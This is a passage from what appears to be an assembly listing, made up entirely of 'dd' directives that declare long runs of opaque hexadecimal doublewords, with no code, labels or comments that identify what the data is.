0FBD9C54Eh, 0F5F200A8h, 0E6723515h, 3D002733h, 0FDE78187h dd 1529BBEBh, 0D8B40C82h, 0E233D400h, 0B51379E3h, 0EE008FFEh dd 0CBD53439h, 0F2F69417h, 0E8DB0730h, 0C1D7F159h, 4385799Eh dd 4F0C59Ch, 0D924EA4Ch, 1100D646h, 84F45EDAh, 3BE60060h dd 487923A3h, 0EF075A85h, 0CF6AFDD7h, 9A6ECE90h, 0BA0E0013h dd 362C3C66h, 0B824CA16h, 0E480400Bh, 11339E5Fh, 86F60368h dd 0E70961EEh, 30BDD7C8h, 0CC5FD903h, 90379CA8h, 146AF67h dd 2C165918h, 8085CB72h, 14110A18h, 6682C4h, 0E4A62DD0h dd 8CD640A0h, 17005DECh, 0EA41EBDBh, 7630F270h, 7E771B0h dd 84DEAA7Ah, 3E0407Ch, 59008333h, 0EC35DBB2h, 0F0BECADAh dd 552800D6h, 0DDFE8DBBh, 0CB484858h, 6A93E40h, 0CA7DBAC2h dd 5FAE610h, 7CBFD05Fh, 811430DEh, 5D181C82h, 9DF84D2Fh dd 215EA29h, 8D3F02BFh, 0D480853Eh, 7D1392E5h, 8886DE07h dd 6A46E352h, 60CB00C0h, 55A7C6C9h, 0FB76AA45h, 7B524A01h dd 7C9F81ACh, 14EEA8DCh, 0A4871469h, 218D6C00h, 2C70DF3Dh dd 0F1914B1Eh, 2BD67E00h, 1365AEh, 377F2E78h, 27B37453h dd 0F7029173h, 5886CBDh, 9E6FE0C8h, 28C700B7h, 69C4D883h dd 0F000F641h, 0A3932AB0h, 3A7B4280h, 0CB80911Dh, 0A05C0538h dd 53006F0Dh, 0F96D963Eh, 0BFE3FFh, 2123431Ch, 29EC7A16h dd 0D3A1B700h, 77C8AB3Dh, 0F09B003Ah, 4985EF57h, 200582Bh dd 3E1E25C3h, 5B522Dh, 0ABB262A8h, 0EAE0A5BAh, 10A9FE00h dd 0BB5998D1h, 0F237007Bh, 42211C3Dh, 6039133Ch, 229080DBh dd 54FC723Fh, 1E53738Dh, 0C002FEE7h, 95D3DFAh, 0FB789ED0h dd 0F198C607h, 0B1C04F92h, 0F63F6740h, 320B000Dh, 847AC7C2h dd 4B00C59Fh, 7DF18AB0h, 7F4E3D6h, 9CE085Bh, 0F58E8094h dd 0B00378DBh, 8F6FF364h, 0B0EEB4h, 0F9C4FAF6h, 0EF01745Eh dd 8091653Ah, 0C2C70BC6h, 3F085AE6h, 459E7CFDh, 21114172h dd 0D41476F7h, 0C0F2DE1h, 67B47132h, 798142B0h, 69D40938h dd 0C7A800F9h, 261E2718h, 7F07E306h, 93982881h, 0BB0BCBB0h dd 6AD95C40h, 61AE8F3Bh, 0B6B305CCh, 8A8406C9h, 0CB487E3Eh dd 9EFA00ECh, 19AEFFC5h, 3AA31E58h, 2732C0DBh, 0D22993CBh dd 86236F1Ch, 520D48C0h, 1DC6D670h, 661F44CDh, 1E9AACB4h dd 7CD702F9h, 0C048C8ADh, 0C23E9F88h, 0DA58260Ah, 0A020CA0Fh dd 73857229h, 2638E097h, 4709E3Dh, 80D6307Dh, 0C09229A3h dd 0FB0BB092h, 5FFD8Dh, 0C36AD30Dh, 0A14C17h, 32A90077h dd 0D6D1836Fh, 4424DBE6h, 3B00905Ah, 741DE73Ch, 0D29901C3h dd 0B1F98471h, 0D8388076h, 1B7FC4B0h, 8F6E0022h, 160AB7F4h dd 0ADA0732Bh, 56604691h, 1BF165C1h, 5C541CA8h, 0B3DECB0Dh dd 70739826h, 83A50839h, 0E79AFD9Bh, 0AE601C9Fh, 0F8B04E01h dd 0CF1F7C1h, 25DC6096h, 0A3DDCA00h, 453976D9h, 9AC61870h dd 0B55A685Eh, 6400BC75h, 12A0C02Bh, 3514385h, 53651830h dd 0CB98029Eh, 0E21FA421h, 0A6C0A7DEh, 0BCF4AF7Eh, 625C00EFh dd 779CD3FAh, 0A7004ACFh, 1D592ECh, 2A6BA3ABh, 7ED45EAEh dd 3C784D75h, 0AC352600h, 7913AA72h, 43DD2F00h, 0F4C5C989h dd 0C8A8076Bh, 0C0691E19h, 7D6C5DEAh, 1744790Fh, 0E1FE63BFh dd 0D9C2D091h, 267D7Fh, 1C4665F8h, 62E9A2DFh, 1D003D7Ah dd 0CD4D0E09h, 98B310h, 0DE87E540h, 9D8C0495h, 1D89E800h dd 0E63F56A7h, 119E3EFFh, 7DF7500h, 0B424CCD4h, 9821B501h dd 6D6454C4h, 0F1E69C4h, 0AFAAC88h, 0CB16B4A0h, 0A31ECF06h dd 2813D36h, 1E4AEA93h, 967048C6h, 621A006Bh, 0AB6CCA3Bh dd 400F6F0h, 0F21BDD31h, 8D81CEh, 0C4DB7ACh, 84580FF4h dd 7FB37203h, 80E7F37Eh, 0F7183FCh, 85E14819h, 756E5F83h dd 276FEE9Fh, 60E2E8E7h, 42A6D0C8h, 0DBA5FF05h, 83C37316h dd 0AC43F057h, 409901ECh, 158F7126h, 68804307h, 0E9256D88h dd 6662BC02h, 0E0919223h, 538648h, 10220743h, 0E63117A2h dd 0FA00ED71h, 2FA497E9h, 2A07954h, 594F9533h, 4CC92361h dd 0CA804174h, 0DF9FD09Ah, 93B7684h, 866E4799h, 2FAC5400h dd 0C7024382h, 1F302EC4h, 0D6654018h, 837900EBh, 5E7FC687h dd 33EABEB7h, 500767Ch, 2F2099ABh, 3BB802Ah, 3908072Ch dd 56DBD8B4h, 61FF81F8h, 9850D300h, 0B6371CC7h, 7DE7547h dd 9C41D559h, 48937017h, 0D600EAE3h, 0BC2D257Bh, 67558Eh dd 14192EEBh, 3392D793h, 0D46B6900h, 0F5B03AC9h, 0A9050096h dd 971BA477h, 0CAA3FBB5h, 0CDEAA8F0h, 5A2EBF7Fh, 0B41EB89Dh dd 22B2E100h, 1209C9h, 574F758Bh, 5A3772FBh, 0F3E74303h dd 0F81D28ACh, 2609FEB3h, 9D8A06h, 4F04FCA0h, 1A0195F0h dd 0E16CEF7Bh, 0AC407846h, 23385706h, 5E07DECAh, 0E6A39437h dd 0EFE2B1A4h, 0C052E440h, 790EC0Fh, 0F3A3C361h, 38C9A034h dd 0EE1E4C7Ch, 4B3FD9B2h, 0B43D1000h, 85671Dh, 35E2426Bh dd 5AC0B854h, 29C37200h, 59EC1DDh, 0C7A70219h, 99A57461h dd 591DFC50h, 4440865Eh, 0B8506873h, 4CF89270h, 38129C0Fh dd 597C096Dh, 61C66CA3h, 0DDF8E8FEh, 0D7642E02h, 40C20F26h dd 0E740BAh, 0AB09460Eh, 4D3AA44Ah, 0F1B39301h, 0BF2E9C08h dd 76C6F4h, 0CCDF0C47h, 0E33FAC25h, 38A6D203h, 0D8C98315h dd 0BBDB84h, 72CD94F6h, 0DE7AE65Bh, 69633000h, 0D58158C6h dd 506A0065h, 0BB106BDh, 9E0174FBh, 0E7C002C4h, 0CEC55ACh dd 99D50708h, 0E0EBBBDEh, 611E7C3Fh, 81D35D00h, 9205F9E1h dd 6D3E01C9h, 342F8AECh, 8757D0CFh, 8B792301h, 0C16F7F56h dd 7C244F8h, 386B42E1h, 0E08C775Ah, 9EA3BCFBh, 1B163E1Dh dd 8E84DF87h, 9A3AC0BEh, 1FB55725h, 0C03F6D2Ch, 367DA214h dd 293CBE97h, 2DA58012h, 0A3CEFA84h, 8BCA0096h, 0D565F786h dd 4F00E26Fh, 8C3CEB34h, 0ECD7DE79h, 0D0C1D58h, 258DC043h dd 66CF1204h, 36B22400h, 0B3C0656Ch, 0BDBA3FE4h, 33EC17h dd 17831658h, 1DB0FC77h, 24489C03h, 883085ACh, 0C1B5F73h dd 79C4EE54h, 0D70074E0h, 0D10A0556h, 1D57C8EAh, 0C0C6B791h dd 0A47D7349h, 0DA00CDDFh, 9611827h, 7B8C13h, 9D9776DCh dd 4CAD671Fh, 0A2B77800h, 0A87DE93Bh, 9E6000D3h, 0FE6F5981h dd 0FC001B0Bh, 714FB3D0h, 7339B7EFh, 696E1F42h, 80954309h dd 0A7E1A8CDh, 47AC4093h, 291C13D4h, 0E5001A9Dh, 773B6124h dd 860E0078h, 5E4DB31Eh, 7202D9FAh, 0C8FC8E21h, 423C60C9h dd 3A207B6Ch, 1AA502ECh, 91E410F0h, 1EE11800h, 0B74A98D1h dd 340C0085h, 0F302BB17h, 3200DF39h, 40E7EC83h, 0EE2630h dd 0F5A7F609h, 0A1D55017h, 61BDDA00h, 55BFB23Dh, 0CC5A18CEh dd 740D40E3h, 5E5863Fh dd 16481D05h, 0BF59D30Ah, 0AFADF200h, 0C414C44h, 0EC49E5B1h dd 16F1C88h, 70A5C0D2h, 1BC4AE9h, 0B19A02B0h, 0E02ACFE4h dd 2600F166h, 0C1EE9310h, 78A4235Bh, 772D009Bh, 0E8EF138Bh dd 3076586h, 2AD7B151h, 498F9021h, 0F2B0E5C4h, 857D8Eh dd 94E2C909h, 0CD397CFDh, 0D6111C00h, 81B075DAh, 42DE001Ah dd 0DDB690ECh, 9204BC5Fh, 0EE0CF610h, 1D874C0h, 0C64B0007h dd 9F48AD63h, 0A2009169h, 14F23AB5h, 36B9BEh, 4935F9B2h dd 17C90384h, 7C09660Fh, 524C4093h, 1C63F0A5h, 80FFF3ECh dd 30DA3BDDh, 1F00C288h, 89B78BF8h, 64666Ch, 2DD51EAFh dd 0D8EBD9F1h, 8C8A1D00h, 0AE311C42h, 0F048001Ah, 2E3EB522h dd 0C0A016C7h, 5700EFF5h, 5242E413h, 31DDF8h, 1A5DBBFh dd 681AB8D7h, 3AC6453Fh, 0F5CF9EABh, 21481B44h, 9DC0C384h dd 0EDE4FD2h, 0B483FD2Bh, 0C02A3DA0h, 0B00EAE5h, 0F93C6035h dd 3979E203h, 8E00EDFCh, 2DA26CDAh, 0AF00BD8Ch, 0E9B00CB5h dd 1D022DDh, 0BA267DF3h, 0FC3DD89Eh, 93006CA0h, 87FD3C68h dd 7563E2BEh, 0CD8D0FD3h, 1A00C128h, 5191E645h, 6AFE0900h dd 0C8BBB2C5h, 0AE300BFh, 0C7B88CA7h, 0C00F194h, 31ABDB37h dd 7670ECh, 5697AA3Dh, 201C270Bh, 0CAB7D503h, 0D8E0B06Dh dd 385F36Fh, 0B9CE0576h, 1E8AAA2Bh, 0BE54040h, 0DCCC280Eh dd 7C544041h, 9278F0h, 68592025h, 556FD25Fh, 7F324C00h dd 26D3A00Ch, 47981Eh, 6960CF15h, 9D4517F0h, 0A48D4700h dd 66086267h, 1E3D004Bh, 0A00FE0A9h, 6000C972h, 33CC919Bh dd 9A0A8Dh, 48621B47h, 0C0B6C857h, 0F154DF00h, 0BDE10499h dd 81702Fh, 7DDAFBA5h, 0D8D1906h, 43D3F00h, 2CBCBB1Dh dd 58210020h, 1F755F25h, 0F5007D42h, 0B6E3DCB5h, 597F3C5h dd 91115267h, 73A40047h, 43FE7D28h, 183C358h, 0D80A6D85h dd 6ECCBC3Ah, 610701B5h, 4D24BE96h, 1DA4202Bh, 0C9E6EB00h dd 98DC0C23h, 0AF0E00D9h, 0E7180452h, 2B0024BFh, 7C825142h dd 3F461201h, 3406792Dh, 6053BD65h, 7F6A8007h, 0CC808DBEh dd 79B97h, 0F63EC7BBh, 2DFADD98h, 80930500h, 7C734EDCh dd 0A3852CCDh, 4F430AD9h, 224900E2h, 3ED9A664h, 0B87BE00h dd 0ECB64D2Ch, 0A3B700B2h, 0C21F29D6h, 1D0C1AE0h, 20382013h dd 5575EFh, 0CEB42F6Ch, 0C45C7B27h, 0F0DE3700h, 0CFB56844h dd 7CD0EA0h, 90C0E0D8h, 0ACB38CF9h, 0AD328B02h, 40B6B87Dh dd 0E65EF3FBh, 4BCC0040h, 354E9013h, 53027902h, 18F243BFh dd 0F8B08047h, 2D5A30Fh, 0BABCC826h, 0D040B163h, 0FF4CB3A4h dd 0DA5900F0h, 0B64FA9C6h, 3FEB0005h, 3644D5CAh, 94011656h dd 0C74CD3FFh, 9020CF57h, 55111F25h, 4480FD51h, 0B45CA9A6h dd 67E4DEE7h, 2B350500h, 485766B5h, 0E2200F63h, 0AD60239Ah dd 541D29Eh, 0A779700h, 7BEA5528h, 617F0025h, 6986CDA9h dd 3F000F84h, 0AC6CC4FAh, 0D951Dh, 0AFB81FD5h, 1135AE5Ah dd 1C664900h, 152A92AAh, 0A9F20B84h, 145ADh, 0CC182C07h dd 0B118DFB8h, 61149CA1h, 6E0601D4h, 4BF5FC6Fh, 0E674D421h dd 7BAD0100h, 0BF9D48B3h, 0EA960723h, 0ACB7383Bh, 8B7073E0h dd 0F5539C00h, 6A2D2A6Bh, 80620048h, 0ADD3A4D5h, 57582269h dd 0CB6F00CBh, 0C379986Dh, 887C92h, 0B671029Eh, 4236D6AAh dd 0EB386004h, 80804541h, 77D933Ah, 97FF7BBAh, 0B01C061h dd 0ED1F86D8h, 7016340h, 2B2E6537h, 0F854E0D4h, 0FE2C008Dh dd 9149ECC4h, 0D490AB01h, 1ACA8813h, 0D315F200h, 48EC4DF3h dd 52063892h, 58191417h, 0D001EFAh, 5BEB1AA2h, 3F512234h dd 3981FAE2h, 601F4482h, 2317C004h, 92F7970Eh, 72FD07D3h dd 6BA5BE60h, 0DB38007Eh, 2E49A73h, 370F4BEBh, 20A81B4Eh dd 0EFD9A4E7h, 60630643h, 0E9409449h, 28263E28h, 0F014B22Ch dd 10535580h, 0C7AEF63h, 119C897Bh, 0C6005D18h, 79B796D6h dd 60F87F28h, 90858965h, 0B5000DD2h, 0FF42A3B6h, 0E436F7C5h dd 0E8B11840h, 0A66A7017h, 0E55C58h, 4F8A3246h, 25F87EEh dd 0E24B0B05h, 3468C3C7h, 7852B36Ch, 125E3F34h, 0EC035F7Eh dd 1D702513h, 0C0D5DA28h, 3D0DBEBh, 0A8C01868h, 0E48C0FA8h dd 9C9086h, 43126123h, 0ECF51FB4h, 31813E00h, 5DE746EBh dd 0EA50509Eh, 0CE773CFAh, 60CC670Ch, 0C6399438h, 30153AD2h dd 0D18589BCh, 63A50083h, 12C79B1Bh, 0CB00F91Fh, 9E0C1544h dd 0BF55Dh, 178BCC9h, 0F011FCE2h, 0B0EE2F1Eh, 0DB2DFE82h dd 481C648Dh, 28632660h, 57E0161Eh, 6513FD36h, 5440AA71h dd 4D8A7FADh, 66E82Eh, 6ADFBD33h, 72481FACh, 65B9C11Fh dd 0E052F613h, 0EECF111h, 94BCFC8Ah, 64F116BCh, 4A963840h dd 0C0896904h, 755DA8E0h, 0BE48B466h, 0E43DA8h, 1FE0EE5Fh dd 0EF38F76h, 64858BCh, 82A97B00h, 9D008D14h, 96C0D3BAh dd 159CCC1h, 52A084CDh, 20B593A7h, 0D500E1EAh, 3AFC21ACh dd 1DA2B323h, 16F90145h, 0B209028Bh, 1C601D65h, 28399810h dd 80A00019h, 7F9D3CEFh, 873907C8h, 0D1FBA3h, 2CFA4E2Bh dd 2565661Ch, 638B9AC3h, 0E6D290C1h, 258B26Dh, 0B1844151h dd 0F4E13B11h, 546B605Eh, 47A23500h, 488BF98Eh, 0B6AF0002h dd 0D8849106h, 3F3FFF4Ah, 7F8C8116h, 0B111CCE7h, 416B8420h dd 8526E018h, 0FF7E1200h, 0ADDAB8AFh, 0A05AE827h, 12077AA0h dd 306EEDh, 59C9DD54h, 3600B37Ch, 8F6F37E5h, 3E81031Bh dd 1C003DC2h, 0D7AB8826h, 65007F01h, 2AD5F86Dh, 4E5B38Ah dd 8373196Ah, 0C1F080C4h, 670F9BC7h, 84CA371Eh, 55C0B681h dd 4EFCD9h, 27B4D202h, 0CDB91394h, 61BDFF00h, 7AB3228Ch dd 936E07B1h, 0E0DFC581h, 981149F5h, 0A70F757Bh, 2507AA2Ch dd 80A8D086h, 471050h, 444310F7h, 0B03FFDCh, 594DF900h dd 5AB767E1h, 9C424832h, 1B291Dh, 0A549C713h, 6D12E934h dd 0DC605C05h, 0FABE0E03h, 3722000Fh, 0E0F94CBAh, 4007ECCDh dd 8823B41Ah, 0A78B3920h, 0C059009Eh, 0B7D6AC84h, 734DAA4Ch dd 3B40234h, 89963F40h, 2B0FB4h, 3C5DB8DEh, 76930EFBh dd 9100D649h, 79D82C82h, 0CEBFA701h, 0D7D16DA0h, 24BC30h dd 710F7B36h, 0FC054FCAh, 11F1CF60h, 3079562Bh, 4A71898Ch dd 820055C1h, 30E01B8Bh, 13380842h, 60B44D49h, 8C56808Ch dd 137E0A05h, 0D0805FBCh, 1F0EACBh, 247DC996h, 605A0CD4h dd 4900EBA0h, 172A6209h, 4C600DC6h, 9D00EC59h, 0DF0F2056h dd 4B00A5EAh, 2A67C96h, 2C26DC12h, 83D83FE8h, 0B7922CC5h dd 59D37803h, 0A80A88C4h, 0A0AA017Eh, 0D6C18Ch, 45118B4Dh dd 6DF7FB56h, 0C70023B8h, 1A7B2171h, 0CE6167h, 0B63E9618h dd 0F9C42C66h, 490A5Ch, 0E7114CAh, 5A16AC3Bh, 140ACEFh dd 59439B86h, 1AC83DA8h, 1C017E2Eh, 40E37F79h, 7B06F3F6h dd 0A1004DC0h, 0DAD64E2h, 6F5AC11Bh, 434050A0h, 0E541FB99h dd 0F7D63106h, 40CED7h, 89A56D8Fh, 0B7B46A0Bh, 0A03FE100h dd 38E55CEAh, 147FB6h, 960785A7h, 8B7F62CEh, 0D425F03h dd 0A0D6A116h, 0BD98F6h, 9560FE57h, 8433AED2h, 12F420C0h dd 38B5623Eh, 9BA6B8F3h, 3FEF003Fh, 0E62BA423h, 0C559DD09h dd 7D388A7Eh, 0F8BA4302h, 0ABE8C066h, 2E6100AFh, 0F5E63DA1h dd 410F4FBBh, 0C0037190h, 63C1AD9h, 44A200D7h, 3519A4B5h dd 0A009D5Ch, 14D0E30h, 5B8997h, 3A37FA5Ah, 87BB6131h dd 54CD9600h, 79BCABC4h dd 4AEB0023h, 4F77C0B8h, 8CA3E203h, 0B0345DA8h, 0F33A3900h dd 0E1F7C1F4h, 5CBB7F42h, 9300CE99h, 0C213DD52h, 31001D11h dd 0BDB26238h, 407875h, 2FEE9DFCh, 5207E415h, 27EBA900h dd 36AB8671h, 0F621EC0Fh, 0E526001Fh, 0CC16E97Dh, 1E3A2332h dd 80CDBB14h, 58BE07E3h, 3E1DBA7h, 0B9C5F349h, 20AF393Dh dd 5E12DEBDh, 3A039BFAh, 17CC57E8h, 0B8CA02Ch, 0A16628B4h dd 27DE1FFCh, 0FB8D40EAh, 0AA027A78h, 0E70018FCh, 2E0FCCB5h dd 0E6A7F39h, 19ADB85Ah, 5887BD00h, 682474EEh, 0AE163070h dd 0FD0600BFh, 0C31924A7h, 0B59D5D00h, 0FCF7C6E2h, 1CDA01C4h dd 0FB671DD7h, 5059D50Eh, 0B8B3E2B0h, 87EC80Ch, 54820CFh dd 0B9186E79h, 0C41F80AEh, 4F009D5Eh, 0DBF82510h, 5A6530h dd 0F6590AC5h, 610BFDFEh, 0E524D11Fh, 774FB4C0h, 0EB62E2h dd 8B0D923Ch, 0A1E1C610h, 34DCBF00h, 851E914Ch, 0EB540196h dd 0B8E34259h, 0B990C022h, 14866100h, 0E689BB79h, 26D7BC2h dd 0C647BF18h, 8840CF4Fh, 0C30024CCh, 1C369BC1h, 1AE2214h dd 0FEB06355h, 0F579ECE4h, 0F541C431h, 27061200h, 0E1D2AF38h dd 0BD9D0029h, 6A32E43Fh, 3500D493h, 177BA6B1h, 0BBE281h dd 8E82448Ch, 4CC0E840h, 0D7C53D01h, 39E64319h, 501545E4h dd 5594DBh, 0CF57ECC2h, 1A38D382h, 12A83700h, 0D2F2A2D4h dd 0C20C0427h, 912E9A56h, 302257E0h, 6F004BABh, 0AAC6C7D0h dd 0CB668Eh, 3048E29Bh, 0ECA29D75h, 0F5163C12h, 0E4A7C000h dd 8DD537h, 6F1D5B3Bh, 0FF5FE2BDh, 0F861C702h, 43F2DD64h dd 4CC0F424h, 2B6C430h, 0A7C5ECB1h, 0D182D578h, 0A04052DAh dd 603F6901h, 0D26202FFh, 40C66AD1h, 0A8CE20h, 69FB64DBh dd 41B34C96h, 9D8A830Bh, 949A00F4h, 0FEED8Ch, 3BA82C10h dd 0FC7072D8h, 0BE811505h, 0C84722D9h, 0E2100634h, 2A1F6B0h dd 0E070CF68h, 8060A471h, 3F044173h, 2EF710DDh, 531FD580h dd 389600BAh, 92CD57C2h, 5B00219Dh, 84975178h, 1FE20B6Ah dd 0B89E8527h, 0C1C67601h, 0FC0A81A7h, 18015AA6h, 7F74B393h dd 6DCC3137h, 0A175D3h, 3BC24A8h, 9AA22CAh, 0C35F800h dd 0E87199E1h, 1CEF0031h, 0E0114DF7h, 5171ADE7h, 40F4A20Fh dd 2312C0B5h, 25F51Ah, 0F96F08EBh, 180DCED5h, 7A96891Ch dd 9CB7494Ah, 75D77900h, 5EEE4F13h, 5B21C03Bh, 297248CBh dd 0C7D1E1Dh, 238DF443h, 4BB6B085h, 0D76A027Bh, 0DA405D49h dd 0F89D4D40h, 0A701BA00h, 5BE1E013h, 50B70032h, 0A1021A97h dd 0D4A17A12h, 668DDC4Fh, 3E461B00h, 388AB2B4h, 3A513EC1h dd 981C916Eh, 6D433113h, 973FAB19h, 19D05308h, 0A41749BEh dd 7CF76200h, 0BDB31402h, 4383Ah, 0C16A298Bh, 4C56F350h dd 0DA1FFC78h, 0C64040CAh, 0A21AFB16h, 8495A600h, 0FDF42160h dd 0B972FAh, 0C2589E72h, 0B31E9881h, 897770ECh, 98DD3033h dd 0FAB00A38h, 368B78Ch, 18278984h, 0FEE0911Eh, 86033A1Dh dd 0D4B79CF8h, 0C617680h, 1A54927Dh, 31143FFAh, 0D3459D81h dd 0C8A0F75Fh, 7C605361h, 59700229h, 0D6140026h, 98FD84D7h dd 2DE4B9C9h, 80250A39h, 0A8FBFC61h, 1DB266h, 7ED4867Ch dd 0CC4D3E3Bh, 260181F0h, 0AB924678h, 0C430136Bh, 8C18CFCEh dd 0E6AD4040h, 510714D0h, 3DEE079Bh, 0C20E396h, 80657853h dd 50501488h, 936FAE97h, 2E976030h, 1E067C27h, 76C1625Fh dd 0D6004018h, 316FB6BEh, 1E2C1BD9h, 0A89C19h, 0A40B4425h dd 0B379AAA9h, 7EE5A3Ah, 3871A66Dh, 0F6C17314h, 31FBD806h dd 0A609ED18h, 0D36EE150h, 0D1C28E0h, 574151DDh, 9E84FC4Eh dd 3C4F7080h, 0AACF7FF0h, 40EF5DE2h, 9933B220h, 1FF3021Eh dd 0EDC048B7h, 3E9EA571h, 4E8C302Ah, 22986962h, 855F5807h dd 605DACA2h, 30E6000h, 348F004Bh, 79C8F133h, 2FB08EBEh dd 36589Fh, 9585B2EFh, 0C6E04273h, 89E61B00h, 0ABF39AC4h dd 3C520032h, 0FE7BF5B9h, 7500A398h, 6B209714h, 737962E7h dd 58C1886h, 0C798B9DEh, 0AB329A00h, 0D92899FDh, 516258BDh dd 114AE203h, 58FB4C0Dh, 0B6D0E7C3h, 0E00A8A3h, 0F6414920h dd 0C09A9315h, 1C3F0C48h, 0EF395E51h, 0D9248034h, 0D02398E4h dd 144103D5h, 0A3259E53h, 0E801797Ch, 0A4AC696Ah, 9850713Bh dd 33629Fh, 8B56A549h, 82372E34h, 3C00EE71h, 1BF716E4h dd 61ED9E59h, 77A149CFh, 80C047B5h, 0C3045A34h, 21833500h dd 69EED5A7h, 1965486Eh, 7E3BED0Ch, 36009769h, 572B5A2h dd 0D50961h, 0DDA98689h, 0B26FF114h, 50F77602h, 40D126C2h dd 88995724h, 90026E2Bh, 6EFBD7Bh, 0D09F27D9h, 4C1C6B18h dd 775488C0h, 0A022DC3Ch, 0AC9DFCh, 948A47E6h, 0FBAD8483h dd 1603D700h, 0FD6C218Eh, 1FE8A8h, 0F6015425h, 0FBAA2D7Dh dd 0E20635F2h, 1E5C2012h, 0F8F90E20h, 4C800BF5h, 912D889Dh dd 0AB646000h, 66253D4Bh, 367429h, 0B1FF21B4h, 70A7FA67h dd 0A0225C07h, 38444860h, 677B7541h, 0FD2ECCABh, 0DBB39707h dd 18D0492Ah, 0C3521DAAh, 751FEF28h, 80782383h, 0DC6E4103h dd 0B15B8C9Dh, 998A4A8h, 46E17938h, 3CE2DC03h, 72ABAF09h dd 6CC918D9h, 959EA839h, 17FAF576h, 0E7A49400h, 3894834h dd 0C027752Fh, 2D8CCA69h, 2116474Fh, 141F6B7Eh, 0F7214036h dd 8097F091h, 0A7ED67A2h, 2B448CA8h, 67AC0776h, 0D09E51B9h dd 7A23F308h, 16E3170Ch, 8C6EE8AAh, 9EDC7704h, 3C62438Ch dd 0DC6FE420h, 22BD003Fh, 2AC8F9D8h, 32FC16E7h, 5E8A1701h dd 2182A8CDh, 37B6188Ch, 0BEF81FF0h, 52C71000h, 0D796AADh dd 2AA000D7h, 7E383108h, 571C7A86h, 2C07E1AEh, 908050A1h dd 17B8C25h, 0B6DE1FC2h, 0F353AD02h, 0BB4B1000h, 0A8C5391Dh dd 89913AD3h, 0D60F2B40h, 61E4125Eh, 0C3CC2D31h, 21800898h dd 5E00EE8Dh, 7C057066h, 0AF54D1h, 93D81C7h, 7A8A39B0h dd 0A88B28C3h, 50BCC0EBh, 0FD11C01Fh, 90D50E12h, 846F1803h dd 0A3716048h, 88210004h, 0C3050DE9h, 0A4733D90h, 99DC9B00h dd 6DA0D8B4h, 8BFD182Bh, 8DF3C098h, 0A406C57Ch, 4F997CA7h dd 0DD240388h, 50058502h, 7D031018h, 891D3920h, 7116C44Bh dd 372AF500h, 9EFDCBCDh, 1B9901C6h, 0D8CE58EAh, 3B40E023h dd 3A4A7200h, 34FBD86h, 0B31200CBh, 8E47ABB4h, 211CD027h dd 2D00F8B9h, 1577E00Fh, 0ABD50FE8h, 0B0A025B7h, 0DD052EBDh dd 0BE00A6F8h, 831093Ah, 1EF06E30h, 807B5E92h, 881A1353h dd 0FB00C0CBh, 7E20FADCh, 3DB6F624h, 0FC8135E7h, 32DCC87h dd 0AF9D3091h, 7EB1A81Dh, 77DF4C40h, 0F973E1h, 6933B965h dd 7B4A7D9Fh, 2F41A300h, 0C9AC7CE7h, 14FE0386h, 159F85ABh dd 0E41E0933h, 2303C09Ch, 70D900E4h, 0B647F292h, 72E61785h dd 1E9A3603h, 80A47BB9h, 0C4DE3B03h, 44528E29h, 8D447620h dd 28B14A7Eh, 1114BA14h, 0A12293ABh, 2700D6F2h, 53A0B90Ch dd 6DFAC9h, 34082E8Dh, 49B04543h, 201A6F00h, 0EFD10B48h dd 8FBF000Eh, 3BE947A1h, 0EB00F257h, 7489606Bh, 3B5DB21Eh dd 9D0015C8h, 768DB27h, 380F4502h, 821D8BAEh, 0A00BE877h dd 7A1B3380h, 20D00A8h, 3048F5Fh, 0DA03B4E7h, 0D6709CA5h dd 808000F2h, 0AB6CE145h, 9B00CAAFh, 753AC9BBh, 730B578h dd 1684179Dh, 7EACF395h, 7D1EC298h, 0F9003C76h, 44B503D0h dd 28684E66h, 0B83725h, 9676129Eh, 550472C7h, 0B775C118h dd 12878h, 0E45D1EA8h dd 2ED0C21h, 0D000EEF8h, 0F0915EBFh, 0C0BC914h, 0B8E4D753h dd 9C003590h, 46FBABBEh, 3B92BF03h, 0B5921EA4h, 60ACF9h dd 9726430h, 0D3FE81h, 83F66E7Ah, 0B23A1DDDh, 2C26200h dd 446F2F88h, 89CA09Ch, 2C6E00FFh, 0AFC7D32Bh, 123CA696h dd 0F9478018h, 0B73F625h, 0ADBC009Fh, 4DC06EAEh, 5C01DC92h dd 0E6CEBA77h, 816CA99Dh, 0EA311302h, 0D48A56E8h, 0D28F0040h dd 24BD184Bh, 1EF5B400h, 0B0AA179h, 41E71D38h, 56530094h dd 0A4F74CFCh, 0BB022B07h, 4580AD7Bh, 7FA4280h, 2D0C7797h dd 35646721h, 61FC028Dh, 0EC906643h, 70E6E29h, 4097CA56h dd 315AA941h, 92E260h, 67C37B0Ch, 25D17011h, 9A837300h dd 0EA5DB65Ch, 37430051h, 0E7217E7Bh, 0CD001282h, 56DE61FDh dd 0FAF74DAh, 8E1FEA78h, 0CE00ECC9h, 59A9ACD2h, 0E642B900h dd 0E0DEBFD3h, 0B4DC0023h, 9EB8B8Dh, 0D70059DAh, 339C100Fh dd 0D5B956h, 0C10280C5h, 0A51CD470h, 20E04D00h, 0B24B74Ch dd 10CA3C7Ch, 4FB192h, 7D66E931h, 3A00A7C2h, 0DC5CFD25h dd 32DC87Ch, 6DEEEA0Dh, 45F89F64h, 0BBF08584h, 88476B07h dd 3D801BCEh, 48DE4EFDh, 0BC008074h, 0ED3042E3h, 0D2908A1Ch dd 0E4775B00h, 49A0F267h, 0ECF902E0h, 96C4B071h, 0D75A8848h dd 0A4C57300h, 0FCB24F06h, 66BA008Ch, 299D1EFh, 51F49F87h dd 0DB5D4200h, 31DEA36Bh, 0F4F10033h, 0B873DD3Ah, 840008E2h dd 892FF7B9h, 0D57C01h, 77CB7456h, 0D7DF5CDAh, 400B9214h dd 0FD300EDh, 291D84B1h, 20E6007Ah, 342D3DC3h, 1BEC6AC2h dd 7FB36E05h, 9B00E5B1h, 102E740Ch, 2D263CCBh, 0AE1F2C80h dd 0EC0725ACh, 2AD06116h, 1754EB00h, 19F3082h, 0ADB1257h dd 0FC8B3F8Fh, 0D6E215A4h, 0E8443200h, 28825F6Dh, 0A523001Eh dd 73E6C862h, 0A7E04298h, 0E688C48h, 0A377C7h, 0FC2C3B55h dd 76940095h, 0BF212452h, 1C002FEAh, 73A45E0Bh, 0EA3AC31h dd 5A43F349h, 0E2285FA7h, 0DC80504Fh, 0D361F865h, 68CB2A24h dd 0B7567900h, 0E167A19h, 64D9B0BFh, 9C396A0h, 3328E9AEh dd 0FA07809Fh, 40BB72F4h, 0D4698E10h, 0E1833356h, 0E7B04320h dd 7B07A148h, 0BBB15F7h, 0A7201F40h, 0C9ED3EBFh, 253B2802h dd 